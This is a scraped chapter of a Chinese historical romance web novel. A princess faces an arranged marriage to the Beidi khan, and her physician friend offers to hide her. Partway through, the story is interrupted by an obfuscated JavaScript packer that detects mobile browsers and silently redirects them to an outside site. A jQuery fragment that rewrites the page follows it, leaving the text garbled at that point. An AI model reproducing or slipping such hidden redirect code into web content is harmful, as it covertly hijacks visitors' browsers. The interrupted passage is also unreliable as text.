默认冷灰
24号文字
方正启体

18. 第十八章

作者:千山灯语本书字数:K更新时间:
    第十七章


    丑时已过半。


    何湛之勒马停在昭阳公主府外。


    他望着门楣下沉沉的夜色,终究没有叩响门环。旋即调转马头,踏着清冷的月色往自己在宫外置办的宅子行去。


    一来不愿深夜叨扰,惊了孟昭欢的好梦;二来他连日奔波,满面风尘,现下眼底还泛着青黑。实在是不愿让她瞧见这副狼狈模样,平白惹她担忧。


    *


    翌日,巳时。


    何湛之换了一身干净的青布长衫,墨发以一支桃木簪松松束起,收拾得精神了许多,这才往公主府走去。


    刚踏入昭华苑,便闻见一股甜香扑面而来。


    他抬眼望去,就见孟昭欢正站在廊下。身前系着块青布围裙,手里捏着个面团,对着案几上几块不成形的糕点蹙眉发呆。


    碧月立在一边,手中拿着个小刮刀,温声细语地指点着:“殿下,这面团还得再揉得匀些,否则烤出来容易结硬块儿。”


    “孟小欢,”何湛之故意扬了声音,慢悠悠踱步过去,“你这是要开点心铺子啊?”


    孟昭欢闻声回头,见是他,眼眸倏地一亮。


    随即又故意板起脸,将手里的面团往案板上一丢:“你来得正好,快帮我瞧瞧。我忙活了一早上,不是烤糊了就是捏歪了,碧月都快被我气笑啦。”


    何湛之凑上前,只见案上摆着几块奇形怪状的糕点。


    有的边缘焦黑似炭,有的歪扭得辨不出原样,不由得低笑出声:“你这做的究竟是糕点,还是石头?丑得这般别致。”


    “你懂什么!”孟昭欢嗔他一眼,伸手就要推他,“嫌丑就别看,一边儿待着去,少在这儿碍我的事。”


    何湛之却顺势拈起一块尚能入眼的,送入口中咬了一口。细细品了品,含糊道:“味儿倒还不差,就是这卖相……着实感人了些。”


    “你还吃!”孟昭欢一把拍开他还想再拿的手,将案上几块还略齐整的护到身后,“这些丑的你吃了便罢。那些好的,我可是要留着送人的。”


    何湛之挑眉,语气里顿时透出几分明显的酸意:“送人?送给谁啊?这般宝贝?我千里迢迢从沧州赶回来,连口热茶都没喝上,你就拿这些残次品打发我?孟小欢,你这朋友可真不够意思。”


    他说着,竟真的垮下脸。拽着她的袖子轻轻晃了晃,嗓音里揉进几分委屈:“你可知我为了赶回来,这几日几乎未曾合眼?白日里还给百姓诊病熬药呢,夜里便策马往回赶,生怕误了时辰。”


    “结果呢?连块像样的糕点都混不上。早知如此,我倒不如在沧州多待几日,好歹还能睡个整觉。”


    孟昭欢闻言,眉头微微一蹙,故意板起脸训他:“你又这般不顾惜身子!天下病人那么多,你岂能一个个都顾全?总这般拼命,铁打的人也受不住。也该为自己想想,若是累垮了怎么办?”


    话虽如此,她却还是转身自碟中挑了一块烤得金黄饱满的糕点,递到他面前:“喏,这块给你,刚出炉的,还热着呢。”


    何湛之立刻眉开眼笑,接过来大大咬了一口,满足地眯起眼:“还是孟小欢疼我。”


    他咽下糕点,又凑近些,追问道,“不过你方才说……要送人?究竟送谁?”


    孟昭欢脸颊微不可察地一红,别开目光:“要你管?”


    “对了,你这次去沧州,可记得给我带礼物了没有?”


    何湛之存心逗她,故意摇头道:“没有,我忘记了。”


    “什么?”孟昭欢顿时睁圆了眼,“下月初便是我的及笄礼了,你竟忘了带礼物?何湛之,你才是真真太不够意思了!”


    何湛之见她有些急了,忍不住笑出声:“骗你的。你的及笄礼,我怎么会忘呢?”


    孟昭欢眼睛亮晶晶的:“那礼物呢?快拿来我瞧瞧。”


    何湛之却又摇头:“没带在身上。我特意让人在京中又寻了些新奇玩意儿,尚未备齐。等你及笄那日,再给你个惊喜。保准你喜欢。”


    孟昭欢半信半疑地瞅着他:“果真?你可别是哄我。若是到时没有惊喜,我定不饶了你!”


    “我何时骗过你呀,孟小欢?”何湛之笑着应道,神色却渐渐沉了下来,“对了,我此番回来,有桩正经事要同你说。”


    他敛去玩笑之色,目光扫过四周,压低声音道:“此事关系重大,需得单独与你细说。”


    孟昭欢见他神色凝重,不似玩笑。


    便对碧月和其他侍女摆了摆手:“你们都先退下吧,没有我的吩咐,不必近前伺候。”


    碧月担忧地看了何湛之一眼,但还是躬身行礼:“是,殿下。”


    随即带着一众侍女退出了昭华苑。


    待院中只剩他们二人,何湛之才方才开口,声音压得更低:“我在沧州时,听闻百姓议论,说是圣上欲让你前往北狄和亲,嫁给那北狄可汗?此事可是真的?”


    孟昭欢脸上的笑意霎时凝住,默然片刻,才轻轻点了点头:“是。父皇已下旨了,再过两月多便要动身。”


    “你可真的愿意?”何湛之追问,目光紧锁着她,眼底俱是溢出来的急切。


    “若是不愿,我便带你走。我在京郊安置了处别院,甚是隐蔽,无人能寻到。待风头过了,我们再慢慢从长计议。”


    孟昭欢猛地抬首看他,眸中掠过一丝难以置信的亮光,心口怦怦急跳起来。


    她不是没动过逃走的念头,可这缕惊喜旋即被理智压了下去。


    她摇了摇头道:“此事不成。你莫要说傻话了。这是父皇的旨意,岂能容我们当成儿戏?我若当真跟你走了,你又待如何?你如今还在太医院任职,前途正好……我绝不能连累你!”


    “我不怕连累!”何湛之急声打断她,“只要你说一声不愿去那苦寒之地受委屈,我怎样做都无妨!”


    “昭欢,北狄路远,气候恶劣,饮食风俗皆与中原大不相同。如今你身子好不容易养好些了,到那怎么能忍受的了!”


    孟昭欢看着他焦急的神色,心中又暖又涩。


    偏过头去避开他的视线,只胡乱寻了个借口:“我知道你是为我好,可此事已定,再无转圜余地了。你也别再劝了,免得彼此为难。”


    何湛之还欲再言,孟昭欢却抢先开口,故意板起脸道:“好了,不说这些了。你才回来,路途遥远定然累了,先去歇歇罢。采苓!”


    采苓应声从屋内走出,躬身行礼:“殿下有何吩咐?”


    孟昭欢弯了弯唇角:“湛之刚从沧州回来,一路辛苦,你先带他去他原先的房间歇息,再命人送些茶水点心过去。”


    何湛之挑眉:“孟小欢,你这是要赶我走啊?”


    “哪有?”孟昭欢别开脸,“我是怕你累着,好心让你歇息,你这人怎么还不领情?你若不想歇也别在我这儿捣乱,省得碍着我研究糕点。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305246|182799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    采苓忍笑,对何湛之比了个“请”的手势:“何公子,请随奴婢来。”


    何湛之深深看了眼孟昭欢故作冷淡的侧脸,心知多说无益。只得将满腹话语暂且压下。


    他转身随采苓走了两步,忽又折返,顺手将碟中一块枣泥糕捞走,笑道:“这个我拿走了,免得你一转头,又送了旁人。”


    采苓引何湛之至门前,正要告辞,却被他出声唤住。


    “采苓,”何湛之神色如常,语气却淡了几分,“你平日侍奉公主,可知她近来除却和亲这一桩事……可有旁的什么烦心之事?”


    采苓略作迟疑,终还是如实相告:“殿下近来倒无甚烦忧,只是常往裴小将军那处走动。方才殿下说要送糕点,许是也要给裴将军的呢。”


    闻言,何湛之眉头几不可察地一蹙,随即颔首道:“我知道了,你去吧。”


    采苓退下后,何湛之独坐屋内。


    他指尖细细摩挲着那块枣泥糕,眸光渐沉。他竟不知,孟昭欢何时对裴寂上了心。


    裴寂乃是圣上亲派,名为护卫,实为监视。此人立场不明,心思深沉,绝非良配。


    绝不能让她嫁往北狄。


    亦不能让她……对裴寂倾心。


    何湛之缓缓抬眼,望向窗外一树繁花。繁花下隐隐能望见孟昭欢的影子。


    *


    廊下,孟昭欢重新捏起那块面团,却久久未再动作。


    碧月悄步走近,轻声劝道:“殿下,您方才分明是心动了的。何公子说要带您走时,您分明眼睛都亮了的呢。”


    孟昭欢瞥她一眼,语气却软道:“碧月你又偷听我说话!休要胡说了,我不过是觉他太过鲁莽,并未有多想。”


    “殿下,”碧月轻叹一声,“您若真不愿去和亲,何公子既愿助您,亦是条好的出路。您何苦一味委屈自己?”


    孟昭欢垂首,指尖无意识地揉着面团,声轻若絮道:“并非委屈……我是怕连累他。”


    “何爷爷如今虽归隐药谷,可何湛之他毕竟独身留在京中,身在太医署。我若真跟他走了,父皇若降罪于何家,我岂非恩将仇报?”


    碧月还欲再劝,孟昭欢却摇了摇头:“不必多言了。还是继续做糕点罢,总得做出几块能见人的,否则届时连份像样的礼都送不出手也太丢人了。”


    她重新揉起面团,心绪却如乱麻。


    何湛之说要带她走时,她确实心动了。


    以他的性子,既然敢提出这个主意,必定是已经将一切都筹划妥当了。


    她几乎能想象出何湛之是如何细致地安排这一切:京郊的别院必定隐蔽舒适,沿途的路线定然安全稳妥,甚至连日后如何隐姓埋名、以何为生,他恐怕都已想好了对策。


    他从来都是这样,表面看似随性不羁,实则心思细腻,做事周全。


    可是……正因为何湛之将一切都准备得如此周到,她才更不能答应。他为她考虑得越多,承担的风险就越大。


    她怎能因为一己之私,连累这个从小到大护着她、让着她的人?


    可,她也是真的不愿去和亲。


    前路茫茫,竟不知该如何抉择。


    不知过了多久,孟昭欢忽然抬头,对碧月道:“你去瞧瞧何湛之还在不在府里,若在,你请他过来一趟就说……就说我新做好了一碟桂花糕,请他过来尝尝。”


    碧月眼中闪过一丝讶异,但还是应声去了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)